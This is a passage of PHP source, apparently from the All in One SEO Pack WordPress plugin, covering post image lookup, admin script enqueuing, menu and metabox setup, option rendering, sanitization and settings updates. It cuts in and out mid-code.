is_tax() ) { return false; } $post_thumbnail_id = null; if ( function_exists( 'get_post_thumbnail_id' ) ) { $post_thumbnail_id = get_post_thumbnail_id( $post->ID ); } if ( empty( $post_thumbnail_id ) ) { return false; } // Check if someone is using built-in WP filter. $size = apply_filters( 'aioseop_thumbnail_size', apply_filters( 'post_thumbnail_size', 'large' ) ); $image = wp_get_attachment_image_src( $post_thumbnail_id, $size ); return $image[0]; } /** * Get the Image by Attachment * * @since ? * * @param null $p * @return bool */ function get_the_image_by_attachment( $p = null ) { if ( null === $p ) { global $post; } else { $post = $p; } $attachments = get_children( array( 'post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID', ) ); if ( empty( $attachments ) && 'attachment' == get_post_type( $post->ID ) ) { $size = apply_filters( 'aioseop_attachment_size', 'large' ); $image = wp_get_attachment_image_src( $post->ID, $size ); } /* If no attachments or image is found, return false. */ if ( empty( $attachments ) && empty( $image ) ) { return false; } /* Set the default iterator to 0. */ $i = 0; /* Loop through each attachment. Once the $order_of_image (default is '1') is reached, break the loop. */ foreach ( $attachments as $id => $attachment ) { if ( 1 == ++ $i ) { $size = apply_filters( 'aioseop_attachment_size', 'large' ); $image = wp_get_attachment_image_src( $id, $size ); $alt = trim( strip_tags( get_post_field( 'post_excerpt', $id ) ) ); break; } } /* Return the image URL. */ return $image[0]; } /** * Get the Image by Scan * * @since ? * * @param null $p * @return bool */ function get_the_image_by_scan( $p = null ) { if ( null === $p ) { global $post; } else { $post = $p; } /* Search the post's content for the <img /> tag and get its URL. */ preg_match_all( '|<img.*?src=[\'"](.*?)[\'"].*?>|i', get_post_field( 'post_content', $post->ID ), $matches ); /* If there is a match for the image, return its URL. */ if ( isset( $matches ) && ! empty( $matches[1][0] ) ) { return $matches[1][0]; } return false; } /** * Load scripts and styles for metaboxes. * edit-tags exists only for pre 4.5 support... remove when we drop 4.5 support. * Also, that check and others should be pulled out into their own functions. * * @todo is it possible to migrate this to \All_in_One_SEO_Pack_Module::add_page_hooks? Or refactor? Both function about the same. * * @since 2.4.14 Added term as screen base. */ function enqueue_metabox_scripts() { $screen = ''; if ( function_exists( 'get_current_screen' ) ) { $screen = get_current_screen(); } $bail = false; if ( empty( $screen ) ) { $bail = true; } if ( true != $bail ) { if ( ( 'post' != $screen->base ) && ( 'term' != $screen->base ) && ( 'edit-tags' != $screen->base ) && ( 'toplevel_page_shopp-products' != $screen->base ) ) { $bail = true; } } $prefix = $this->get_prefix(); $bail = apply_filters( $prefix . 'bail_on_enqueue', $bail, $screen ); if ( $bail ) { return; } $this->form = 'post'; if ( 'term' == $screen->base || 'edit-tags' == $screen->base ) { $this->form = 'edittag'; } if ( 'toplevel_page_shopp-products' == $screen->base ) { $this->form = 'product'; } $this->form = apply_filters( $prefix . 'set_form_on_enqueue', $this->form, $screen ); foreach ( $this->locations as $k => $v ) { if ( 'metabox' === $v['type'] && isset( $v['display'] ) && ! empty( $v['display'] ) ) { $enqueue_scripts = false; $enqueue_scripts = ( ( 'toplevel_page_shopp-products' == $screen->base ) && in_array( 'shopp_product', $v['display'] ) ) || in_array( $screen->post_type, $v['display'] ) || 'edit-category' == $screen->base || 'edit-post_tag' == $screen->base || 'term' == $screen->base; $enqueue_scripts = apply_filters( $prefix . 'enqueue_metabox_scripts', $enqueue_scripts, $screen, $v ); if ( $enqueue_scripts ) { add_filter( 'aioseop_localize_script_data', array( $this, 'localize_script_data' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ), 20 ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_styles' ), 20 ); } } } } /** * Load styles for module. * * Add hook in \All_in_One_SEO_Pack_Module::enqueue_metabox_scripts - Bails adding hook if not on target valid screen. * Add hook in \All_in_One_SEO_Pack_Module::add_page_hooks - Function itself is hooked based on the screen_id/page. * * @since 2.9 * @since 3.0 Added jQuery UI CSS missing from WP. #1850 * * @see 'admin_enqueue_scripts' hook * @link https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ * @uses wp_scripts() Gets the Instance of WP Scripts. * @link https://developer.wordpress.org/reference/functions/wp_scripts/ * * @param string $hook_suffix */ function admin_enqueue_styles( $hook_suffix ) { wp_enqueue_style( 'thickbox' ); if ( ! empty( $this->pointers ) ) { wp_enqueue_style( 'wp-pointer' ); } wp_enqueue_style( 'aioseop-module-style', AIOSEOP_PLUGIN_URL . 'css/modules/aioseop_module.css', array(), AIOSEOP_VERSION ); if ( function_exists( 'is_rtl' ) && is_rtl() ) { wp_enqueue_style( 'aioseop-module-style-rtl', AIOSEOP_PLUGIN_URL . 'css/modules/aioseop_module-rtl.css', array( 'aioseop-module-style' ), AIOSEOP_VERSION ); } if ( ! wp_style_is( 'aioseop-jquery-ui', 'registered' ) && ! wp_style_is( 'aioseop-jquery-ui', 'enqueued' ) ) { wp_enqueue_style( 'aioseop-jquery-ui', AIOSEOP_PLUGIN_URL . 'css/aioseop-jquery-ui.css', array(), AIOSEOP_VERSION ); } } /** * Admin Enqueue Scripts * * Hook function to enqueue scripts and localize data to scripts. * * Add hook in \All_in_One_SEO_Pack_Module::enqueue_metabox_scripts - Bails adding hook if not on target valid screen. * Add hook in \All_in_One_SEO_Pack_Module::add_page_hooks - Function itself is hooked based on the screen_id/page. * * @since ? * @since 2.3.12.3 Add missing wp_enqueue_media. * @since 2.9 Switch to admin_enqueue_scripts; both the hook and function name. * @since 3.0 Add enqueue footer JS for jQuery UI Compatability. #1850 * * @see 'admin_enqueue_scripts' hook * @link https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/ * @global WP_Post $post Used to set the post ID in wp_enqueue_media(). * * @param string $hook_suffix */ public function admin_enqueue_scripts( $hook_suffix ) { wp_enqueue_script( 'sack' ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui-tabs' ); wp_enqueue_script( 'media-upload' ); wp_enqueue_script( 'thickbox' ); wp_enqueue_script( 'common' ); wp_enqueue_script( 'wp-lists' ); wp_enqueue_script( 'postbox' ); if ( ! empty( $this->pointers ) ) { wp_enqueue_script( 'wp-pointer', false, array( 'jquery' ) ); } global $post; if ( ! empty( $post->ID ) ) { wp_enqueue_media( array( 'post' => $post->ID ) ); } else { wp_enqueue_media(); } $helper_dep = array( 'jquery', 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position', 'jquery-ui-tooltip', ); // AIOSEOP Script enqueue. wp_enqueue_script( 'aioseop-module-script', AIOSEOP_PLUGIN_URL . 'js/modules/aioseop_module.js', array(), AIOSEOP_VERSION ); wp_enqueue_script( 'aioseop-helper-js', AIOSEOP_PLUGIN_URL . 'js/aioseop-helper.js', $helper_dep, AIOSEOP_VERSION, true ); // Localize aiosp_data in JS. if ( ! empty( $this->script_data ) ) { aioseop_localize_script_data(); } } /** * Localize Script Data * * @since ? * * @param $data * @return array */ function localize_script_data( $data ) { if ( ! is_array( $data ) ) { $data = array( 0 => $data ); } if ( empty( $this->script_data ) ) { $this->script_data = array(); } if ( ! empty( $this->pointers ) ) { $this->script_data['pointers'] = $this->pointers; } if ( empty( $data[0]['condshow'] ) ) { $data[0]['condshow'] = array(); } if ( empty( $this->script_data['condshow'] ) ) { $this->script_data['condshow'] = array(); } $condshow = $this->script_data['condshow']; $data[0]['condshow'] = array_merge( $data[0]['condshow'], $condshow ); unset( $this->script_data['condshow'] ); $data[0] = array_merge( $this->script_data, $data[0] ); $this->script_data['condshow'] = $condshow; return $data; } /** * Override this to run code at the beginning of the settings page. */ function settings_page_init() { } /** * Filter out admin pointers that have already been clicked. */ function filter_pointers() { if ( ! empty( $this->pointers ) ) { $dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) ); foreach ( $dismissed as $d ) { if ( isset( $this->pointers[ $d ] ) ) { unset( $this->pointers[ $d ] ); } } } } /** * Add basic hooks when on the module's page. */ function add_page_hooks() { $hookname = current_filter(); if ( $this->strpos( $hookname, 'load-' ) === 0 ) { $this->pagehook = $this->substr( $hookname, 5 ); } add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_styles' ) ); add_filter( 'aioseop_localize_script_data', array( $this, 'localize_script_data' ) ); add_action( $this->prefix . 'settings_header', array( $this, 'display_tabs' ) ); } /** * Get Admin Links * * @since ? * * @return array */ function get_admin_links() { if ( ! empty( $this->menu_name ) ) { $name = $this->menu_name; } else { $name = $this->name; } $hookname = plugin_basename( $this->file ); $links = array(); $url = ''; if ( function_exists( 'menu_page_url' ) ) { $url = menu_page_url( $hookname, 0 ); } if ( empty( $url ) ) { $url = esc_url( admin_url( 'admin.php?page=' . $hookname ) ); } if ( null === $this->locations ) { array_unshift( $links, array( 'parent' => AIOSEOP_PLUGIN_DIRNAME, 'title' => $name, 'id' => $hookname, 'href' => $url, 'order' => $this->menu_order(), ) ); } else { foreach ( $this->locations as $k => $v ) { if ( 'settings' === $v['type'] ) { if ( 'default' === $k ) { array_unshift( $links, array( 'parent' => AIOSEOP_PLUGIN_DIRNAME, 'title' => $name, 'id' => $hookname, 'href' => $url, 'order' => $this->menu_order(), ) ); } else { if ( ! empty( $v['menu_name'] ) ) { $name = $v['menu_name']; } else { $name = $v['name']; } array_unshift( $links, array( 'parent' => AIOSEOP_PLUGIN_DIRNAME, 'title' => $name, 'id' => $this->get_prefix( $k ) . $k, 'href' => esc_url( admin_url( 'admin.php?page=' . $this->get_prefix( $k ) . $k ) ), 'order' => $this->menu_order(), ) ); } } } } return $links; } function add_admin_bar_submenu() { global $aioseop_admin_menu, $wp_admin_bar; if ( $aioseop_admin_menu ) { $links = $this->get_admin_links(); if ( ! empty( $links ) ) { foreach ( $links as $l ) { $wp_admin_bar->add_menu( $l ); } } } } /** * Collect metabox data together for tabbed metaboxes. * * @param $args * * @return array */ function filter_return_metaboxes( $args ) { return array_merge( $args, $this->post_metaboxes ); } /** Add submenu for module, call page hooks, set up metaboxes. * * @param $parent_slug * * @return bool */ function add_menu( $parent_slug ) { if ( ! empty( $this->menu_name ) ) { $name = $this->menu_name; } else { $name = $this->name; } if ( null === $this->locations ) { $hookname = add_submenu_page( $parent_slug, $name, $name, apply_filters( 'manage_aiosp', 'aiosp_manage_seo' ), plugin_basename( $this->file ), array( $this, 'display_settings_page', ) ); add_action( "load-{$hookname}", array( $this, 'add_page_hooks' ) ); return true; } foreach ( $this->locations as $k => $v ) { if ( 'settings' === $v['type'] ) { if ( 'default' === $k ) { if ( ! empty( $this->menu_name ) ) { $name = $this->menu_name; } else { $name = $this->name; } $hookname = add_submenu_page( $parent_slug, $name, $name, apply_filters( 'manage_aiosp', 'aiosp_manage_seo' ), plugin_basename( $this->file ), array( $this, 'display_settings_page', ) ); } else { if ( ! empty( $v['menu_name'] ) ) { $name = $v['menu_name']; } else { $name = $v['name']; } $hookname = add_submenu_page( $parent_slug, $name, $name, apply_filters( 'manage_aiosp', 'aiosp_manage_seo' ), $this->get_prefix( $k ) . $k, array( $this, "display_settings_page_$k", ) ); } add_action( "load-{$hookname}", array( $this, 'add_page_hooks' ) ); } elseif ( 'metabox' === $v['type'] ) { // hack -- make sure this runs anyhow, for now -- pdb. $this->setting_options( $k ); $this->toggle_save_post_hooks( true ); if ( isset( $v['display'] ) && ! empty( $v['display'] ) ) { add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_metabox_scripts' ), 5 ); if ( $this->tabbed_metaboxes ) { add_filter( 'aioseop_add_post_metabox', array( $this, 'filter_return_metaboxes' ) ); } foreach ( $v['display'] as $posttype ) { $v['location'] = $k; $v['posttype'] = $posttype; if ( post_type_exists( $posttype ) ) { // Metabox priority/context on edit post screen. $v['context'] = apply_filters( 'aioseop_post_metabox_context', 'normal' ); $v['priority'] = apply_filters( 'aioseop_post_metabox_priority', 'high' ); } if ( false !== strpos( $posttype, 'edit-' ) ) { // Metabox priority/context on edit taxonomy screen. $v['context'] = 'advanced'; $v['priority'] = 'default'; } // Metabox priority for everything else. if ( ! isset( $v['context'] ) ) { $v['context'] = 'advanced'; } if ( ! isset( $v['priority'] ) ) { $v['priority'] = 'default'; } if ( $this->tabbed_metaboxes ) { $this->post_metaboxes[] = array( 'id' => $v['prefix'] . $k, 'title' => $v['name'], 'callback' => array( $this, 'display_metabox' ), 'post_type' => $posttype, 'context' => $v['context'], 'priority' => $v['priority'], 'callback_args' => $v, ); } else { $title = $v['name']; if ( $title != $this->plugin_name ) { $title = $this->plugin_name . ' - ' . $title; } if ( ! empty( $v['help_link'] ) ) { $title .= "<a class='aioseop_help_text_link aioseop_meta_box_help' target='_blank' href='" . $lopts['help_link'] . "'><span>" . /* translators: This string is used as an action link which users can click on to view the relevant documentation on our website. */ __( 'Help', 'all-in-one-seo-pack' ) . '</span></a>'; } add_meta_box( $v['prefix'] . $k, $title, array( $this, 'display_metabox', ), $posttype, $v['context'], $v['priority'], $v ); } } } } } } /** * Adds or removes hooks that could be called while editing a post. * * TODO: Review if all these hooks are really required (save_post should be enough vs. edit_post and publish_post). */ private function toggle_save_post_hooks( $add ) { if ( $add ) { add_action( 'edit_post', array( $this, 'save_post_data' ) ); add_action( 'publish_post', array( $this, 'save_post_data' ) ); add_action( 'add_attachment', array( $this, 'save_post_data' ) ); add_action( 'edit_attachment', array( $this, 'save_post_data' ) ); add_action( 'save_post', array( $this, 'save_post_data' ) ); add_action( 'edit_page_form', array( $this, 'save_post_data' ) ); } else { remove_action( 'edit_post', array( $this, 'save_post_data' ) ); remove_action( 'publish_post', array( $this, 'save_post_data' ) ); remove_action( 'add_attachment', array( $this, 'save_post_data' ) ); remove_action( 'edit_attachment', array( $this, 'save_post_data' ) ); remove_action( 'save_post', array( $this, 'save_post_data' ) ); remove_action( 'edit_page_form', array( $this, 'save_post_data' ) ); } } /** * Update postmeta for metabox. * * @param $post_id */ function save_post_data( $post_id ) { $this->toggle_save_post_hooks( false ); if ( null !== $this->locations ) { foreach ( $this->locations as $k => $v ) { if ( isset( $v['type'] ) && ( 'metabox' === $v['type'] ) ) { $opts = $this->default_options( $k ); $options = array(); foreach ( $opts as $l => $o ) { if ( isset( $_POST[ $l ] ) ) { $options[ $l ] = stripslashes_deep( $_POST[ $l ] ); $options[ $l ] = esc_attr( $options[ $l ] ); } } $prefix = $this->get_prefix( $k ); $options = apply_filters( $prefix . 'filter_metabox_options', $options, $k, $post_id ); update_post_meta( $post_id, '_' . $prefix . $k, $options ); } } } $this->toggle_save_post_hooks( true ); } /** * Outputs radio buttons, checkboxes, selects, multiselects, handles groups. * * @param $args * * @return string */ function do_multi_input( $args ) { $options = $args['options']; $value = $args['value']; $name = $args['name']; $attr = $args['attr']; $buf1 = ''; $type = $options['type']; $strings = array( 'block' => "<select name='$name' $attr>%s\n</select>\n", 'group' => "\t<optgroup label='%s'>\n%s\t</optgroup>\n", 'item' => "\t<option %s value='%s'>%s</option>\n", 'item_args' => array( 'sel', 'v', 'subopt' ), 'selected' => 'selected ', ); if ( ( 'radio' === $type ) || ( 'checkbox' === $type ) ) { $strings = array( 'block' => "%s\n", 'group' => "\t<b>%s</b><br>\n%s\n", 'item' => "\t<label class='aioseop_option_setting_label'><input type='$type' %s name='%s' value='%s' %s> %s</label>\n", 'item_args' => array( 'sel', 'name', 'v', 'attr', 'subopt' ), 'selected' => 'checked ', ); } $setsel = $strings['selected']; if ( isset( $options['initial_options'] ) && is_array( $options['initial_options'] ) ) { foreach ( $options['initial_options'] as $l => $option ) { $option_check = strip_tags( is_array( $option ) ? implode( ' ', $option ) : $option ); if ( empty( $l ) && empty( $option_check ) ) { continue; } $is_group = is_array( $option ); if ( ! $is_group ) { $option = array( $l => $option ); } $buf2 = ''; foreach ( $option as $v => $subopt ) { $sel = ''; $is_arr = is_array( $value ); if ( is_string( $v ) || is_string( $value ) ) { if ( is_string( $value ) ) { $cmp = ! strcmp( $v, $value ); } else { $cmp = ! strcmp( $v, '' ); } // $cmp = !strcmp( (string)$v, (string)$value ); } else { $cmp = ( $value == $v ); } if ( ( ! $is_arr && $cmp ) || ( $is_arr && in_array( $v, $value ) ) ) { $sel = $setsel; } $item_arr = array(); foreach ( $strings['item_args'] as $arg ) { $item_arr[] = $$arg; } $buf2 .= vsprintf( $strings['item'], $item_arr ); } if ( $is_group ) { $buf1 .= sprintf( $strings['group'], $l, $buf2 ); } else { $buf1 .= $buf2; } } $buf1 = sprintf( $strings['block'], $buf1 ); } return $buf1; } /** * Get Option HTML * * Outputs a setting item for settings pages and metaboxes. * * @since ? * @since 2.12 Add 'input' to allowed tags with 'html'. #2157 * * @param array $args { * Contains the admin option element values and attributes for rendering. * * @type string $attr The HTML element's attributes to render within the element. * @type string $name THE HTML element's name attribute. Used with form input elements. * @type string $prefix Optional. The AIOSEOP Module prefix. * @type string $value The HTML element's value attribute. * @type array $options { * Arguments used for this function/method operations and rendering. * * @type string $class Optional. The HTML element's class attribute. This is used if * `$options['count']` is not empty. * @type int $cols Optional. Character count length of column. * @type boolean $count Optional. Determines whether to add the character count for SEO. * @type string $count_desc Optional. The description/help text to rend to the admin. * @type string $name Optional. Used within the description/help text when it's for character count. * @type boolean $required Optional. Determines whether to require a value in the input element. * @type int $rows Optional. Number of rows to multiply with cols. * @type string $type Which Switch Case (HTML element) to use. * } * } * @return string */ function get_option_html( $args ) { static $n = 0; $options = $args['options']; $value = $args['value']; $name = $args['name']; $attr = $args['attr']; $prefix = isset( $args['prefix'] ) ? $args['prefix'] : ''; if ( 'custom' == $options['type'] ) { return apply_filters( "{$prefix}output_option", '', $args ); } if ( in_array( $options['type'], array( 'multiselect', 'select', 'multicheckbox', 'radio', 'checkbox', 'textarea', 'text', 'submit', 'hidden', 'date', ) ) && is_string( $value ) ) { $value = esc_attr( $value ); } $buf = ''; $onload = ''; if ( ! empty( $options['count'] ) ) { $n ++; $classes = isset( $options['class'] ) ? $options['class'] : ''; $classes .= ' aioseop_count_chars'; $attr .= " class='{$classes}' data-length-field='{$prefix}length$n'"; } if ( isset( $opts['id'] ) ) { $attr .= " id=\"{$opts['id']}\" "; } if ( isset( $options['required'] ) && true === $options['required'] ) { $attr .= ' required'; } switch ( $options['type'] ) { case 'multiselect': $attr .= ' MULTIPLE'; $args['attr'] = $attr; $name = "{$name}[]"; $args['name'] = $name; // fall through. case 'select': $buf .= $this->do_multi_input( $args ); break; case 'multicheckbox': $name = "{$name}[]"; $args['name'] = $name; $args['options']['type'] = 'checkbox'; $options['type'] = 'checkbox'; // fall through. case 'radio': $buf .= $this->do_multi_input( $args ); break; case 'checkbox': if ( $value ) { $attr .= ' CHECKED'; } $buf .= "<input name='$name' type='{$options['type']}' $attr>\n"; break; case 'textarea': // #1363: prevent characters like ampersand in title and description (in social meta module) from getting changed to & if ( in_array( $name, array( 'aiosp_opengraph_hometitle', 'aiosp_opengraph_description' ), true ) ) { $value = htmlspecialchars_decode( $value, ENT_QUOTES ); } $buf .= "<textarea name='$name' $attr>$value</textarea>"; break; case 'image': $buf .= '<input class="aioseop_upload_image_checker" type="hidden" name="' . $name . '_checker" value="0">' . "<input class='aioseop_upload_image_button button-primary' type='button' value='"; $buf .= __( 'Upload Image', 'all-in-one-seo-pack' ); $buf .= "' />" . "<input class='aioseop_upload_image_label' name='" . esc_attr( $name ) . "' type='text' " . esc_html( $attr ) . " value='" . esc_attr( $value ) . "' size=57 style='float:left;clear:left;'>\n"; break; case 'html': $allowed_tags = wp_kses_allowed_html( 'post' ); $allowed_tags['input'] = array( 'name' => true, 'type' => true, 'value' => true, 'class' => true, 'placeholder' => true, ); $buf .= wp_kses( $value, $allowed_tags ); break; case 'esc_html': $buf .= '<pre>' . esc_html( $value ) . "</pre>\n"; break; case 'date': // firefox and IE < 11 do not have support for HTML5 date, so we will fall back to the datepicker. wp_enqueue_script( 'jquery-ui-datepicker' ); // fall through. default: $buf .= "<input name='" . esc_attr( $name ) . "' type='" . esc_attr( $options['type'] ) . "' " . wp_kses( $attr, wp_kses_allowed_html( 'data' ) ) . " value='" . esc_attr( $value ) . "'>\n"; } // TODO Maybe Change/Add a function for SEO character count. if ( ! empty( $options['count'] ) ) { $size = 60; if ( isset( $options['size'] ) ) { $size = $options['size']; } elseif ( isset( $options['rows'] ) && isset( $options['cols'] ) ) { $size = $options['rows'] * $options['cols']; } if ( isset( $options['count_desc'] ) ) { $count_desc = $options['count_desc']; } else { /* translators: %1$s and %2$s are placeholders and should not be translated. %1$s is replaced with a number, %2$s is replaced with the name of an meta tag field (e.g; "Title", "Description", etc.). */ $count_desc = __( ' characters. Most search engines use a maximum of %1$s chars for the %2$s.', 'all-in-one-seo-pack' ); } $buf .= "<br /><input readonly tabindex='-1' type='text' name='{$prefix}length$n' size='3' maxlength='3' style='width:53px;height:23px;margin:0px;padding:0px 0px 0px 10px;' value='" . $this->strlen( $value ) . "' />" . sprintf( $count_desc, $size, trim( $this->strtolower( $options['name'] ), ':' ) ); if ( ! empty( $onload ) ) { $buf .= "<script>jQuery( document ).ready(function() { {$onload} });</script>"; } } return $buf; } /** * Format a row for an option on a settings page. * * @since ? * @since 3.0 Added Helper Class for jQuery Tooltips. #1850 * * @param $name * @param $opts * @param $args * * @return string */ function get_option_row( $name, $opts, $args ) { $label_text = ''; $input_attr = ''; $id_attr = ''; require_once( AIOSEOP_PLUGIN_DIR . 'admin/class-aioseop-helper.php' ); $info = new AIOSEOP_Helper( get_class( $this ) ); $align = 'right'; if ( 'top' == $opts['label'] ) { $align = 'left'; } if ( isset( $opts['id'] ) ) { $id_attr .= " id=\"{$opts['id']}_div\" "; } if ( 'none' != $opts['label'] ) { $tmp_help_text = $info->get_help_text( $name ); if ( isset( $tmp_help_text ) && ! empty( $tmp_help_text ) ) { $display_help = '<a tabindex="0" class="aioseop_help_text_link" style="cursor: help;" title="<h4 aria-hidden>%2$s:</h4> %1$s"></a><label class="aioseop_label textinput">%2$s</label>'; $help_text = sprintf( $display_help, $info->get_help_text( $name ), $opts['name'] ); } else { $help_text = $opts['name']; } // TODO Possible remove text align. // Currently aligns to the right when everything is being aligned to the left; which is usually a workaround. $display_label_format = '<span class="aioseop_option_label" style="text-align:%s;vertical-align:top;">%s</span>'; $label_text = sprintf( $display_label_format, $align, $help_text ); } else { $input_attr .= ' aioseop_no_label '; } if ( 'top' == $opts['label'] ) { $label_text .= "</div><div class='aioseop_input aioseop_top_label'>"; } $input_attr .= " aioseop_{$opts['type']}_type"; $display_row_template = '<div class="aioseop_wrapper%s" id="%s_wrapper"><div class="aioseop_input">%s<div class="aioseop_option_input"><div class="aioseop_option_div" %s>%s</div></div><p style="clear:left"></p></div></div>'; return sprintf( $display_row_template, $input_attr, $name, $label_text, $id_attr, $this->get_option_html( $args ) ); } /** * Display options for settings pages and metaboxes, allows for filtering settings, custom display options. * * @param null $location * @param null $meta_args */ function display_options( $location = null, $meta_args = null ) { static $location_settings = array(); $defaults = null; $prefix = $this->get_prefix( $location ); $help_link = ''; if ( is_array( $meta_args['args'] ) && ! empty( $meta_args['args']['default_options'] ) ) { $defaults = $meta_args['args']['default_options']; } if ( ! empty( $meta_args['callback_args'] ) && ! empty( $meta_args['callback_args']['help_link'] ) ) { $help_link = $meta_args['callback_args']['help_link']; } if ( ! empty( $help_link ) ) { echo "<a class='aioseop_help_text_link aioseop_meta_box_help' target='_blank' href='" . $help_link . "'><span>" . __( 'Help', 'all-in-one-seo-pack' ) . '</span></a>'; } if ( ! isset( $location_settings[ $prefix ] ) ) { $current_options = apply_filters( "{$this->prefix}display_options", $this->get_current_options( array(), $location, $defaults ), $location ); $settings = apply_filters( "{$this->prefix}display_settings", $this->setting_options( $location, $defaults ), $location, $current_options ); $current_options = apply_filters( "{$this->prefix}override_options", $current_options, $location, $settings ); $location_settings[ $prefix ]['current_options'] = $current_options; $location_settings[ $prefix ]['settings'] = $settings; } else { $current_options = $location_settings[ $prefix ]['current_options']; $settings = $location_settings[ $prefix ]['settings']; } // $opts["snippet"]["default"] = sprintf( $opts["snippet"]["default"], "foo", "bar", "moby" ); $container = "<div class='aioseop aioseop_options {$this->prefix}settings'>"; if ( is_array( $meta_args['args'] ) && ! empty( $meta_args['args']['options'] ) ) { $args = array(); $arg_keys = array(); foreach ( $meta_args['args']['options'] as $a ) { if ( ! empty( $location ) ) { $key = $prefix . $location . '_' . $a; if ( ! isset( $settings[ $key ] ) ) { $key = $a; } } else { $key = $prefix . $a; } if ( isset( $settings[ $key ] ) ) { $arg_keys[ $key ] = 1; } elseif ( isset( $settings[ $a ] ) ) { $arg_keys[ $a ] = 1; } } $setting_keys = array_keys( $settings ); foreach ( $setting_keys as $s ) { if ( ! empty( $arg_keys[ $s ] ) ) { $args[ $s ] = $settings[ $s ]; } } } else { $args = $settings; } foreach ( $args as $name => $opts ) { // List of valid element attributes. $attr_list = array( 'class', 'style', 'readonly', 'disabled', 'size', 'placeholder', 'autocomplete' ); if ( 'textarea' == $opts['type'] ) { $attr_list = array_merge( $attr_list, array( 'rows', 'cols' ) ); } // Set element attribute values. $attr = ''; foreach ( $attr_list as $a ) { if ( isset( $opts[ $a ] ) ) { $attr .= ' ' . $a . '="' . esc_attr( $opts[ $a ] ) . '" '; } } $opt = ''; if ( isset( $current_options[ $name ] ) ) { $opt = $current_options[ $name ]; } if ( 'none' == $opts['label'] && 'submit' == $opts['type'] && false == $opts['save'] ) { $opt = $opts['name']; } if ( 'html' == $opts['type'] && empty( $opt ) && false == $opts['save'] ) { $opt = $opts['default']; } $args = array( 'name' => $name, 'options' => $opts, 'attr' => $attr, 'value' => $opt, 'prefix' => $prefix, ); if ( ! empty( $opts['nowrap'] ) ) { echo $this->get_option_html( $args ); } else { if ( $container ) { echo $container; $container = ''; } echo $this->get_option_row( $name, $opts, $args ); } } if ( ! $container ) { echo '</div>'; } } /** * Sanitize Domain * * @since ? * * @param $domain * @return mixed|string */ function sanitize_domain( $domain ) { $domain = trim( $domain ); $domain = $this->strtolower( $domain ); if ( 0 === $this->strpos( $domain, 'http://' ) ) { $domain = $this->substr( $domain, 7 ); } elseif ( 0 === $this->strpos( $domain, 'https://' ) ) { $domain = $this->substr( $domain, 8 ); } $domain = untrailingslashit( $domain ); return $domain; } /** Sanitize options * * @param null $location */ function sanitize_options( $location = null ) { foreach ( $this->setting_options( $location ) as $k => $v ) { if ( isset( $this->options[ $k ] ) ) { if ( ! empty( $v['sanitize'] ) ) { $type = $v['sanitize']; } else { $type = $v['type']; } switch ( $type ) { case 'multiselect': // fall through. case 'multicheckbox': $this->options[ $k ] = urlencode_deep( $this->options[ $k ] ); break; case 'textarea': // #1363: prevent characters like ampersand in title and description (in social meta module) from getting changed to & if ( ! ( 'opengraph' === $location && in_array( $k, array( 'aiosp_opengraph_hometitle', 'aiosp_opengraph_description' ), true ) ) ) { $this->options[ $k ] = wp_kses_post( $this->options[ $k ] ); } $this->options[ $k ] = htmlspecialchars( $this->options[ $k ], ENT_QUOTES ); break; case 'filename': $this->options[ $k ] = sanitize_file_name( $this->options[ $k ] ); break; case 'url': // fall through. case 'text': $this->options[ $k ] = wp_kses_post( $this->options[ $k ] ); // fall through. case 'checkbox': // fall through. case 'radio': // fall through. case 'select': // fall through. default: if ( ! is_array( $this->options[ $k ] ) ) { $this->options[ $k ] = esc_attr( $this->options[ $k ] ); } } } } } /** * Display metaboxes with display_options() * * @param $post * @param $metabox */ function display_metabox( $post, $metabox ) { $this->display_options( $metabox['args']['location'], $metabox ); } /** * Handle resetting options to defaults. * * @param null $location * @param bool $delete */ function reset_options( $location = null, $delete = false ) { if ( true === $delete ) { $this->delete_class_option( $delete ); $this->options = array(); } $default_options = $this->default_options( $location ); foreach ( $default_options as $k => $v ) { $this->options[ $k ] = $v; } $this->update_class_option( $this->options ); } /** * Handle Settings Updates * * Handle option resetting and updating. * * @since ? * * @param null $location * @return mixed|string|void */ function handle_settings_updates( $location = null ) { $message = ''; if ( ( isset( $_POST['action'] ) && 'aiosp_update_module' == $_POST['action'] && ( isset( $_POST['Submit_Default'] ) || isset( $_POST['Submit_All_Default'] ) || ! empty( $_POST['Submit'] ) ) ) ) { $nonce = $_POST['nonce-aioseop']; if ( ! wp_verify_nonce( $nonce, 'aioseop-nonce' ) ) { die( __( 'Security Check - If you receive this in error, log out and back in to WordPress', 'all-in-one-seo-pack' ) ); } if ( isset( $_POST['Submit_Default'] ) || isset( $_POST['Submit_All_Default'] ) ) { /* translators: This message confirms that the options have been reset. */ $message = __( 'Options Reset.', 'all-in-one-seo-pack' ); if ( isset( $_POST['Submit_All_Default'] ) ) { $this->reset_options( $location, true ); do_action( 'aioseop_options_reset' ); } else { $this->reset_options( $location ); } } if ( ! empty( $_POST['Submit'] ) ) { /* translators: %s is a placeholder and will be replace with the name of the plugin. */ $message = sprintf( __( '%s Options Updated.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ); $default_options = $this->default_options( $location ); foreach ( $default_options as $k => $v ) { if ( isset( $_POST[ $k ] ) ) { $this->options[ $k ] = stripslashes_deep( $_POST[ $k ] ); } else { $this->options[ $k ] = ''; } } $this->sanitize_options( $location ); $this->options = apply_filters( $this->prefix . 'update_options', $this->options, $location ); $this->update_class_option( $this->options ); wp_cache_flush(); } do_action( $this->prefix . 'settings_update', $this->options, $location ); } return $message; } /** Update / reset settings, printing options, sanitizing, posting back * * @param null $location */ function display_settings_page( $location = null ) { if ( null != $location ) { $location_info = $this->locations[ $location ]; } $name = null; if ( $location && isset( $location_info['name'] ) ) { $name = $location_info['name']; } if ( ! $name ) { $name = $this->name; } $message = $this->handle_settings_updates( $location ); $this->settings_page_init(); ?> <div class="wrap <?php echo get_class( $this ); ?>"> <?php ob_start(); do_action( 